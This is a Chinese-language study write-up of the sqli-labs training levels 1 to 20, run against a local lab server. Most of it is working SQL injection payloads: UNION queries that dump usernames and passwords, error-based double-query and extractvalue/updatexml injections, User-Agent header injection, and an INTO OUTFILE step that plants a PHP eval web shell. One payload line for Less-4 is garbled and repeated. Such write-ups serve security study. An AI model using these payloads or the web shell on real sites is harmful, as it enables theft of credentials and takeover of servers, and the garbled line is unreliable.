Web安全SQL修炼计划 基础挑战
Web安全修炼第一周。
原理
SQL注入起因于数据和代码的界限分割不明确。
0x00 GET单查询注入
Less-1 基于错误的GET单引号字符型注入
尝试写入?id=1。
1 | http://127.0.0.1:2333/Less-1/?id=1' |
limit 0,1表示从表中的第0个数据开始,只读取1个。
因为单引号未闭合导致sql语法报错,可以得出未过滤单引号的结论,则这时需要在注入的语句最后加上%23【#的url编码或是--+来闭合原构造语句末尾的分号。
接下来注出字段名,order by函数是用来按照字段名排序查询,此处可以使用1、2、3等来按照字段名的序号查询,从而测试该表的字段数,若不存在该字段序号则会返回错误。
1 | http://127.0.0.1:2333/Less-1/?id=1'order by 4 --+ |
Unknown column '4' in 'order clause'表示在按照第四列字段排序的时候出错,则不存在第4个字段,那么该表共有3个字段。
使用union联合查询来同时查询多个语句,使用union联合查询时,前后两个语句查询返回的结果集需要有着相同列数。
1 | http://127.0.0.1:2333/Less-1/?id=1' union select 1,2,3 --+ |
这里没有结果的原因是mysql_fetch_arra()函数只被调用了一次 ,并没有将结果循环输出 ,而mysql_fetch_arra()的作用是从结果集中取第一行作为关联数组或数字数组或二者兼有。
因此需要使第一行查询的结果是空,则它就会获取union联合查询后的结果渲染在网页上了。故使得id=-1。
1 | http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,3 --+ |
concat(str1,str2,…)函数会拼接多个字符串,中间无分隔符,而concat_ws(separator,str1,str2,…)函数是将separator作为分隔符来拼接的多个字符串。例如select concat('1','2','3');返回的值是123,而select concat_ws('-','1','2','3');返回的值是1,2,3。
user()函数返回当前链接的用户名,database()函数返回当前链接使用的数据库名。
1 | http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,concat_ws(char(32,32),user(),database()) --+ |
那么现在得到了一个重要的信息,即当前的表名为security。
相关补充
补一下mysql的相关知识。
mysql中的information_scherma从字面上来说是信息计划表,像是一个索引,又或者说这是一个目录,在这里面保存着关于mysql其他数据库的库名、表名、字段名、字段类型等等信息。
schemata表:提供了当前mysql实例中所有数据库的信息。命令show databases;的结果取之此表。
tables表:提供了关于数据库中的表的信息【包括视图。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。命令show tables from schemaname;的结果取之此表。
columns表:提供了表中的列信息。命令show columns from schemaname.tablename;的结果取之此表。
statistics表:提供了关于表索引的信息。命令show index from schemaname.tablename;的结果取之此表。
user_privileges【用户权限表:给出了关于全程权限的信息。该信息源自mysql.user授权表,是非标准表。
schema_privileges【方案权限表:给出了关于方案【数据库权限的信息。该信息来自mysql.db授权表,是非标准表。
table_privileges【表权限表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表,是非标准表。
column_privileges【列权限表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
character_sets【字符集表:提供了mysql实例可用字符集的信息。命令show character set;结果集取之此表。
collations表:提供了关于各字符集的对照信息。
collation_character_set_applicability表:指明了可用于校对的字符集。这些列等效于show collation;的前两个显示字段。
table_constraints表:描述了存在约束的表,以及表的约束类型。
key_column_usage表:描述了具有约束的键列。
routines表:提供了关于存储子程序【存储程序和函数的信息。此时,routines表不包含自定义函数【udf。名为mysql.proc name的列指明了对应于information_schema.routines表的mysql.proc表列。
views表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
triggers表:提供了关于触发程序的信息。必须有super权限才能查看该表。
然后继续构造式子,其中group_concat()这个函数的作用是拼接全部字符串。
1 | http://127.0.0.1:2333/Less-1/?id=-1' union select 1,TABLE_SCHEMA,group_concat(table_name) from information_schema.tables where table_schema like 'security'--+ |
爆所有数据名。
1 | select group_concat(SCHEMA_NAME) from information_schema.schemata; |
得到当前库的所有表。
1 | select group_concat(table_name) from information_schema.tables where table_schema=database(); |
得到表中所有的字段名。
1 | select group_concat(column_name) from information_schema.columns where table_name='table_name'; |
得到字段具体的值。
1 | select group_concat(column_name,' ',column_name) from table_name; |
得到字段名。
1 | http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ |
得到表中全部信息。
1 | http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(username,' ',password) from users --+ |
Less-2 基于错误的GET整型注入
先在被挨打的边缘试探一下。
1 | http://127.0.0.1:2333/Less-2/?id=1' |
根据返回的错误来看,没有数值即为整型注入,因为sql语句对于数字型的数据可以不加单引号闭合,不加注释,于是构造?id=1 and 1=1。
1 | http://127.0.0.1:2333/Less-2/?id=1 and 1=1 |
有返回值,可以继续注入,后续步骤一如Less-1。
1 | http://127.0.0.1:2333/Less-2/?id=-1 union select 1,2,group_concat(username,' ',password) from users |
Less-3 基于错误的GET单引号变形字符型注入
再次在被挨打的边缘试探一下。
1 | http://127.0.0.1:2333/Less-3/?id=1' |
可以知道后端的sql语句在接收的参数两边加上了小括号,于是构造如下语句。
1 | http://127.0.0.1:2333/Less-3/?id=-1') or '1'='1' --+ |
然后还是像Less-1一样的后续。
1 | http://127.0.0.1:2333/Less-3/?id=-1') union select 1,2,group_concat(username,' ',password) from users--+ |
Less-4 基于错误的GET双引号变形字符型注入
试探。
1 | http://127.0.0.1:2333/Less-4/?id=1' |
无报错信息,故推测单引号可能被双引号包含从而闭合,因此构造双引号闭合。
1 | http://127.0.0.1:2333/Less-4/?id=1") or 1=1 --+ |
还是一样,故不赘述。
1 | http://127.0.0.1:2333/Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--sLess-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--s+ |
0x01 GET双查询注入
Less-5 基于双查询的GET单引号字符型注入
根据题意,这是一个双查询单引号字符型注入,即将Group by与一个聚合函数一起嵌套使用,例如**count(*)**,可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。
原理补充
0x00 对比语句
1 | mysql> select count(*),concat(database(),floor(rand(0)*2)) as a from information_schema.tables group by a; |
这两句查询语句的差异是floor()函数位置的不同,但多次测试的结果都是一致表明报错与语句中函数位置无关。
0x01 测试rand(0)
1 | mysql> create table users(id int(10),username char(20),password char(20)); |
执行多次没有报错,尝试增加数据再进行尝试,直到第三条数据插入后,出现了错误。
1 | mysql> select count(*) from users group by concat(database(),floor(rand(0)*2)); |
0x02 测试rand()
1 | mysql> create table users1(id int(10),username char(20),password char(20)); |
依旧执行多次没有报错。
在插入第二条数据测试后出现错误。
1 | mysql> select count(*) from users1 group by concat(database(),floor(rand()*2)); |
0x03 多数据测试
使用rand()。
1 | mysql> select floor(rand()*2) from users; |
多次测试发现结果都不同,然后使用rand(0)。
1 | mysql> select floor(rand(0)*2) from users; |
多次测试结果一样。
0x04 虚拟表
1 | mysql> select * from users; |
sql查询在使用group by()这个函数分组的时候,会建立一张虚拟表。
1 | +----------+----------+ |
然后开始查询数据库,取出数据库数据看虚拟表中是否存在。
不存在则将要分组的数据插入虚拟表中以待最后输出,存在则执行count++。
0x05 rand(0)函数
rand()函数在查询的时候使用时会被执行多次计算结果值,且当种子值固定时,**floor(rand(0)*2)得出的值是也是固定的,为011011001110111**……【画重点。
而上文的多次计算结果值这个操作,即使用group by()分组的时候计算一次,倘若虚拟表中无该字段,则插入表中的时候再次计算一次。
先取第一条记录,第一次计算floor(rand(0)2)=0,虚拟表中无第一条记录,于是插入的时候第二次计算floor(rand(0)2)=1,然后将结果插入。
1 | +------------------+----------+ |
取第二条记录,第三次计算**floor(rand(0)*2)=1,这时虚拟表中已经存在1,则执行count++**。
1 | +------------------+----------+ |
再取第三条记录,第四次计算floor(rand(0)2)=0,此时查询虚拟表中并不存在0,也就是无此记录,因此插入的时候开始第五次计算floor(rand(0)2)=1。
这时报错原理出来了。
第五次计算得出的**floor(rand(0)*2)=1在插入时因为同之前已经插入过的1**重复,故抛出了报错信息。
取三条数据,五次计算,因此使用rand(0)时至少需要三条以上数据才会报错。
0x06 rand()函数
相对于floor(rand(0)2)而言,floor(rand()2)由于没有加入随机因子所以计算的值是不固定的。
取第一条记录,第一次计算floor(rand()2)=0,虚拟表中无第一条记录,于是插入的时候第二次计算floor(rand()2)=1,然后将结果插入。
1 | +------------------+----------+ |
取第二条记录,第三次计算floor(rand()2)=0,这时虚拟表中不存在0,则插入时第四次计算floor(rand()2)=1,冲突报错。
但是倘若在前几次由于随机性,例如在上述步骤的第四次插入计算时**floor(rand()*2)=0**,查询出来的虚拟表成了这样。
1 | +------------------+----------+ |
那么后面不论查询几次都不会报错了,然后看题。
1 | http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select database()),'-----', floor(rand(0)*2)) --+ |
再构造语句查询表名。
1 | http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'-----', floor(rand(0)*2)) --+ |
后面几乎和之前的一样,只要构造嵌套的第二个select语句即可。
1 | http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),'-----', floor(rand(0)*2)) --+ |
这样从爆出全部字段。
1 | http://127.0.0.1:2333/Less-5/?id=1' union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+ |
Less-6 基于双查询的GET双引号字符型注入
一如Less-2相对于Less-1一样,同Less-5的payload差不多,改单引号为双引号即可。
1 | http://127.0.0.1:2333/Less-6/?id=1" union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+ |
0x02 GET导出文件注入
Less-7 基于导出文件的GET注入
相关补充
load_file()
该函数会读取文件并返回该文件的内容作为一个字符串,但有使用条件的限制。
- 必须有权限读取并且文件必须完全可读,**and (select count(*) from mysql.user)>0**返回正常结果即有读写权限,反之亦然。
- 欲读取文件必须在服务器上且需指定完整路径。
- 欲读取文件必须小于max_allowed_packet。
load data infile
该函数会从文件中读取行然后存入表中,当错误代码是2的时候的时候,文件不存在,错误代码为13的时候,没有权限。
select ... into outfile 'file_name'
该函数会将查询到的结果写入文件。
回到题目。
1 | http://127.0.0.1:2333/Less-7/?id=1')) union select 1,2,3 into outfile '/var/www/html/Less-7/1.txt' --+ |
虽然报错,但是访问该文件以及可以读取到注出的数据了,甚至可以写入小🐎。
1 | http://127.0.0.1:2333/Less-7/?id=1')) union select 1,2,'<?php @eval($_post["south"])?>' into outfile '/var/www/html/Less-7/1.txt' --+ |
0x03 GET单查询盲注
Less-8 基于布尔的GET单引号字符型盲注
根据提示,这是布尔盲注,即在不知道数据库返回值的情况下对数据库进行注入攻击,几个简单函数就不做赘述了。
脚本跑出数据库名,这儿使用二分法。
1 | import requests |
获取表名。
1 | import requests |
获取表中字段数。
1 | import requests |
获取表中字段名。
1 | import requests |
得到全部字段。
1 | import requests |
Less-9 基于时间的GET单引号字符型盲注
在没有任何输出显示的时候,可以使用时间盲注,利用数据库的延时语句来注入,脚本和上一题大同小异,使用了sleep()函数。
1 | import time |
Less-10 基于时间的GET双引号字符型盲注
。。没啥好说的,改个双引号闭合就行了。
0X04 POST单查询注入
Less-11 基于错误的POST单引号字符型注入
和Less-1大同小异,把get换成post罢了。
1 | import requests |
Less-12 基于错误的POST双引号变形字符型注入
和Less-4大同小异,把get换成post罢了。
1 | import requests |
0X05 POST双查询注入
Less-13 基于双查询的POST单引号变形字符型注入
原理同Less-5。
1 | import requests |
Less-14 基于双查询的POST双引号字符型注入
原理同Less-5。
1 | import requests |
0X05 POST单查询盲注
Less-15 基于时间的POST单引号字符型盲注
1 | import time |
Less-16 基于时间的POST双引号变形字符型盲注
和Less-15差不多,测试一下使用双引号加右括号构造闭合。
0x06 POST更新注入
Less-17 基于错误的POST更新注入
随手测试了一下,usernae被过滤了,password可以注入。
相关补充
extractvalue(xml_frag,xpath_expr)
这里需要提及的一个是extractvalue(xml_frag,xpath_expr)函数,作用是对xml文档进行查询,其中第一个接收的参数是文件名,第二个则是文件路径,因此对第二个参数传入的值会做检测,判断是否满足如/xxx/xxx/xxx/的xpath格式,错误则会返回该值并报错,由于传入的是查询语句,因此会在执行后获取返回值再判断,故返回的是查询结果,从而达到攻击目的。
1 | passwd=admin' or extractvalue(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a))) --+&uname=admin |
updatexml(xml_target,xpath_expr,new_xml)
将xml_target中的数据使用xpath_expr正则匹配替换为new_xml,报错原理同上。
故此,思路是要使得extractvalue()函数报错,因此构造extractvalue(1,concat('~',(select database()))),同理,使用updatexml()构造的payload为updatexml(1,concat('~',(select database())),0)。
1 | passwd=admin' or updatexml(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a)),0) --+&uname=admin |
Less-18 基于错误的POST User-Agent注入
相关补充
HTTP头部详解
- Accept:客户端申明自己接受的介质类型,/表示任何类型,type/表示该类型下的所有子类型,如text/,type/sub-type表示单独一种类型,如text/html。
- Accept-Charset:客户端申明自己接收的字符集。
- Accept-Encoding:客户端申明自己接收的编码函数,通常指定压缩函数,是否支持压缩, 支持什么压缩函数【gzip、deflate。
- Accept-Language:客户端申明自己接收的语言,语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5、gb2312、gbk等等。
- Accept-Ranges:Web服务器表明自己是否接受获取其某个实体的一部分【比如文件的一部分的请求。bytes表示接受,none表示不接受。
- Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
- Authorization:当客户端接收到来自Web服务器的WWW-Authenticate响应时,用该头部来回应自己的身份验证信息给Web服务器。
- Cache-Control:请求:no-cache【不要缓存的实体,要求现在从Web服务器去取;max-age【只接受Age值小于max-age值,并且没有过期的对象;max-stale【可以接受过去的对象,但是过期时间必须小于max-stale值;min-fresh【接受其新鲜生命期大于其当前Age跟min-fresh值之和的缓存对象。响应:public【可以用Cached内容回应任何用户;private【只能用缓存内容回应先前请求该内容的那个用户;no-cache【可以缓存,但是只有在跟Web服务器验证了其有效后,才能返回给客户端;max-age:【本响应包含的对象的过期时间。ALL:no-store【不允许缓存。
- Connection:请求:close【告诉Web服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了;keepalive【告诉Web服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求。响应:close【连接已经关闭;keepalive【连接保持着,在等待本次连接的后续请求;Keep-Alive【如果客户端请求保持连接,则该头部表明希望Web服务器保持连接多长时间【秒。如Keep-Alive: 300。
- Content-Encoding:Web服务器表明自己使用了什么压缩函数【gzip、deflate压缩响应 中的对象。如Content-Encoding: gzip。
- Content-Language:Web服务器告诉客户端自己响应的对象的语言。
- Content-Length:Web服务器告诉客户端自己响应的对象的长度。如Content-Length: 26012。
- Content-Range:Web服务器表明该响应包含的部分对象为整个对象的哪个部分。如Content-Range: bytes 21010-47021/47022。
- Content-Type:Web服务器告诉客户端自己响应的对象的类型。如Content-Type: application/xml。
- ETag:就是一个对象【如URL的标志值,就一个对象而言,比如一个html文件, 如果被修改了,其Etag也会别修改,所以ETag的作用跟Last-Modified的作用差不多,主 要供Web服务器判断一个对象是否改变了。比如前一次请求某个html文件时,获得了其ETag,当这次又请求这个文件时,客户端就会把先前获得的ETag值发送给Web服务器, 然后Web服务器会把这个ETag跟该文件的当前ETag进行对比,然后就知道这个文件有没有改变了。
- Expired:Web服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟Web服务器验证了其有效性后,才能用来响应客户请求,HTTP/1.0的头部。如Expires: Sat, 23 May 2009 10:02:12 GMT。
- Host:客户端指定自己想访问的Web服务器的Domain/IP地址和端口号。如Host: southsea.st。
- If-Match:如果对象的ETag没有改变,其实也就意味著对象没有改变,才执行请求的动作。
- If-None-Match:如果对象的ETag改变了,其实也就意味著对象也改变了,才执行请求的动作。
- If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作【比如返回对象,否则返回代码304,告诉客户端该对象没有修改。如If-Modified-Since: Thu, 10 Apr 2008 09:14:42 GMT。
- If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作【比如返回对象。
- If-Range:客户端告诉Web服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。客户端通过发送请求对象的ETag或者自己所知道的最后修改时间给Web服务器,让其判断对象是否改变了。总是跟Range头部一起使用。
- Last-Modified:Web服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。如Last-Modified: Tue, 06 May 2008 02:42:43 GMT。
- Location:Web服务器告诉客户端,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如: Location: https://southsea.st。
- Pramga:主要使用Pramga: no-cache,相当于Cache-Control: no-cache。如Pragma: no-cache。
- Proxy-Authenticate:代理服务器响应客户端,要求其提供代理身份验证信息。Proxy-Authorization:客户端响应代理服务器的身份验证请求,提供自己的身份信息。
- Range:客户端【比如Flashget多线程下载时告诉Web服务器自己想取对象的哪部分。如Range: bytes=1173546-。
- Referer:客户端向Web服务器表明自己访问当前请求的来源。如Referer: https://southsea.st。
- Server:Web服务器表明自己是什么软件及版本等信息。如Server: Apache/2.0.61(Unix)。
- User-Agent:客户端表明自己的身份【哪种客户端。如Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36。
- Transfer-Encoding:Web服务器表明自己对本响应消息体【不是消息体里面的对象作了怎样的编码,比如是否分块【chunked。如Transfer-Encoding: chunked。
- Vary:Web服务器用该头部的内容告诉Cache服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源Web服务器在接到第一个请求消息时,其响应消息的头部为Content-Encoding: gzip; Vary: Content-Encoding,那么Cache服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary头部值一致,即是否使用相同的内容编码函数,这样就可以防止Cache服务器用自己Cache里面压缩后的实体响应给不具备解压能力的客户端。如Vary: Accept-Encoding。
- Via:列出从客户端到OCS或者相反方向的响应经过了哪些代理服务器,他们用什么协议【版本发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via头部,并 把自己的相关信息加到后面,以此类推,当OCS收到最后一个代理服务器的请求时,检查Via头部,就知道该请求所经过的路由。如Via: 1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)。
根据提示,修改User-Agent的值来注入。
1 | User-Agent: 1' and extractvalue(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a))) and '1'='1 |
Less-19 基于错误的POST Referer注入
根据提示,修改Referer的值如上。
Less-20 基于错误的POST Cookie注入
根据提示,修改Cookie的值如上。